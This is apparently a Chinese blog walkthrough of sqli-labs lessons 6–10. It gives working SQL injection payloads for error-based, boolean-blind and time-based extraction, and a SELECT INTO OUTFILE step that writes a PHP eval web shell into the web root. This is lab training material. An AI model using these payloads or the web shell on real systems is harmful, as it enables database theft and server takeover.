sql-liabs通关6-10

目录

1.lesson6 geometrycollection报错注入

2.lesson7  select into outfile写文件

3.lesson-8 布尔盲注

4.lesson-9 时间盲注

5.lesson-10 时间盲注

1.lesson6 geometrycollection报错注入

判断注入类型:

?id=1"

查用户:

?id=1" and geometrycollection((select * from(select * from (select user())a)b)) %23

查数据表名:

?id=1" and geometrycollection((select * from(select * from (select group_concat(table_name) from information_schema.tables where table_schema='security')a)b)) %23

其他步骤参考lesson-2 

2.lesson7  select into outfile写文件

select into outfile使用时要看secure_file_priv 的值,如果有设置写文件只能往这个值的位置写

如果没设置,在my.ini把secure_file_priv设空,位置写在[mysqld]的里面

判断注入类型:

?id=1')) -- +

这个地方因为只报有错误,没有报具体的错误,所以需要进行尝试有没有括号,还是只是单引号字符型注入,试过不是整形注入,也不是双引号注入

判断字段数:

?id=1'))  order by 3 -- +

查回显列:

?id=-1'))  union select 1,2,3  into outfile 'C:\\1.txt'  -- +

虽然报错但是回显列还是写入了1.txt

 1.txt

 查数据库名

?id=-1'))  union select 1,database(),3  into outfile 'C:\\1.txt'  -- +

其他步骤参考lesson-2 

另一种利用方式写shell,用蚁剑或菜刀连接

?id=-1')) union select 1,'<?php eval($_POST[1]);?>',3  into outfile 'c:\\phpstudy_pro\\WWW\\1.php'--+

3.lesson-8 布尔盲注

 基于布尔的盲注流程:

判断注入类型

判断当前数据库的长度

查当前数据库名

判读表的个数

判断表的长度

分别查各个表名   二分法

分别判断各个表中字段的个数

查各个表中的字段的长度

查各个表中字段名

查多少条数据

查数据

 判断注入类型:

?id=1'-- +

判断当前数据库的长度:

?id=1' and length(database())=8-- +

 查当前数据库名:

第一个字符 

?id=1' and ascii(substr(database(),1,1))=115-- +

 或使用burp进行爆破,抓包发送到intruder模块,爆破模式选cluster bomb

变量选 :

 第一个payload选:

第二个payload选:

点击options的attack开始爆破,通过返回的长度判断哪些是正确的

第二个……

判读表的个数:

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=5-- +

判断表的长度:

第一张:

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security' limit 0,1)=4-- +

第二张……

查表名:

第一张表名的第一个字符:

?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=101-- +

 第一张表名的第二个字符……

第二张表……

分别判断各个表中字段的个数:

第一张:

?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails' )=2-- +

第二张……

查各个表中的字段的长度:

第一个:

?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 )=2-- +

第二个……

查各个表中字段名:

第一张第一个:

?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 )=69-- +

第二张……

查多少条数据:

?id=1' and (select count(*) from security.emails)=8-- +

查数据:

第一张表的第一个字段的第一条 :

?id=1' and (select ascii(substr(id,1,1)) from security.emails limit 0,1)=49-- +

第二张表……

4.lesson-9 时间盲注

 基于时间的盲注流程:

判断注入类型

判断当前数据库的长度

查当前数据库名

判读表的个数

判断表的长度

分别查各个表名   二分法

分别判断各个表中字段的个数

查各个表中的字段的长度

查各个表中字段名

查多少条数据

查数据

if(exp1,exp2,exp3) 如果exp1为真,执行exp2,否则,执行exp3

 判断注入类型:

?id=1' and sleep(5)-- +

shift+ctrl+i或f12打开开发者工具,找到网络,看时间是否为5秒

判断当前数据库的长度:

?id=1' and if(length(database())=8,sleep(5),1)-- +

 查当前数据库名:

第一个字符 

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- +

 或使用burp进行爆破,参考lesson-8

判读表的个数:

?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(5),1)-- +

判断表的长度:

第一张:

?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(5),1)-- +

第二张……

查表名:

第一张表名的第一个字符:

?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=101,sleep(5),1)-- +

 第一张表名的第二个字符……

第二张表……

分别判断各个表中字段的个数:

第一张:

?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails' )=2,sleep(5),1)-- +

第二张……

查各个表中的字段的长度:

第一个:

?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 )=2,sleep(5),1)-- +

第二个……

查各个表中字段名:

第一张第一个:

?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 )=69-- +

第二张……

查多少条数据:

?id=1' and if((select count(*) from security.emails)=8,sleep(5),1)-- +

查数据:

第一张表的第一个字段的第一条 :

?id=1' and if((select ascii(substr(id,1,1)) from security.emails limit 0,1)=49,sleep(5),1)-- +

第二张表……

5.lesson-10 时间盲注

判断注入类型

?id=1" and sleep(5)-- +

其他步骤参考lesson-9

select into outfile参考文章:

(18条消息) sqli-labs通关笔记_&Lj的博客-CSDN博客_sqllabs通关https://blog.csdn.net/m0_55563900/article/details/115373515

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值